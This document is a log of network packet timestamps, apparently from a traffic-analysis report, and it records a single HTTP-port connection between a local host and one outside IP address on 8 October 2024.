Oct 8, 2024 02:39:02.698009014 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.698023081 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.698040009 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.698040962 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.698055983 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.698056936 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.698071003 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.698086023 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.698096991 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.698101044 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.698121071 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.698621988 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.698637962 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.698652029 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.698661089 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.698668003 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.698683023 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.698693991 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.698698997 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.698713064 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.698726892 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.698726892 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.698743105 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.698751926 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.698774099 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.698973894 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.698987961 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699012995 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699027061 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699038029 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.699043036 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699058056 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699068069 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.699071884 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699086905 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699101925 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.699119091 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.699140072 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699155092 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699168921 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699182987 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699191093 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.699198008 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699213028 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699224949 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.699227095 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699243069 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699244976 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.699258089 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699273109 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699287891 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699290037 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.699302912 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699307919 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.699317932 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699342966 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.699425936 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.699860096 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.699939966 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.700088978 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700113058 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700128078 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700143099 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700154066 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.700158119 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700172901 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700177908 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.700189114 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700203896 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700213909 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.700218916 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700232983 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700247049 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700248003 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.700263023 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700265884 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.700278044 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700293064 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700306892 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700308084 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.700309038 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.700342894 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.700387955 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700402975 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700417042 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700432062 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700443029 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.700448036 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700462103 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700469017 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.700501919 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.700969934 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700985909 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.700999975 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701015949 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701030016 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701030016 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.701045036 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701047897 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.701060057 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701073885 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701081038 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.701117992 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.701354027 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701368093 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701383114 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701396942 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701414108 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701416969 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.701436043 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701436043 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.701450109 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701464891 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701474905 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.701478958 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701493979 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701508045 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701508999 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.701523066 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701527119 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.701536894 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701550961 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701565981 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.701566935 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701581955 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701585054 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.701596022 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701610088 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701622963 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.701623917 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701638937 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701649904 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.701654911 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701670885 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.701674938 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.701709032 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.702385902 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702409029 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702423096 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702436924 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702451944 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702464104 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.702466965 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702481031 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702483892 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.702496052 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702502012 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.702510118 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702523947 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702538013 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702538013 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.702552080 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702564001 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.702568054 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702583075 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702589035 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.702598095 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702613115 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702620029 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.702627897 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702644110 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702651024 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.702657938 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702672958 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702685118 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.702687979 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.702709913 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.703259945 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703274965 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703289032 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703304052 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703310013 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.703319073 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703330040 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.703335047 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703349113 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703365088 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703366995 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.703385115 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.703610897 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703627110 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703640938 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703655005 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703655005 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.703670025 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703675985 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.703692913 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703705072 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.703707933 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703722954 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703737020 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703747988 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.703752041 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703767061 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703767061 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.703780890 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703795910 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703805923 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.703809977 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703824997 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703829050 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.703840017 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703855038 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703862906 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.703870058 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.703897953 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.704489946 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704513073 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704528093 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704541922 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704544067 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.704555988 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704565048 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.704571009 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704586029 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704592943 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.704600096 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704615116 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704628944 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704628944 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.704644918 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704655886 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.704658985 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704673052 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704687119 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704695940 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.704703093 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704716921 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.704718113 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704732895 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704735994 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.704747915 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704762936 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704771042 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.704786062 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.704798937 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.705055952 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705070019 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705085039 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705095053 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.705100060 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705113888 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705121040 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.705127954 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705142975 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705148935 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.705157042 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705183983 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.705188990 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705204010 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705216885 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705224991 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.705231905 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705248117 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705257893 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.705261946 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705276012 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705286026 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.705291033 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705306053 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705310106 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.705321074 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705334902 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705343008 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.705351114 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705364943 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.705920935 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705935955 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705950022 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705964088 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.705965042 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705979109 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.705984116 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.705993891 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706007957 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706022024 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.706022978 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706037045 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706038952 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.706049919 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706064939 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706075907 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.706079960 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706094980 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706100941 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.706131935 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.706367016 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706381083 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706396103 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706409931 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706423044 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.706423998 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706439018 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706449986 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.706463099 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706474066 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.706476927 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706492901 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706506014 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706516027 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.706521034 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706536055 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706540108 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.706557035 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706572056 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706578016 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.706585884 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706599951 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706608057 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.706614971 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706629038 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706635952 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.706645012 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.706669092 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.707287073 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707303047 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707318068 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707334042 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707340002 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.707353115 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707356930 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.707376957 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707401037 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707401991 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.707417965 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707433939 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707442045 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.707448959 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707464933 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.707465887 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707482100 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707498074 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707501888 CEST	49730	80	192.168.2.4	31.13.224.51
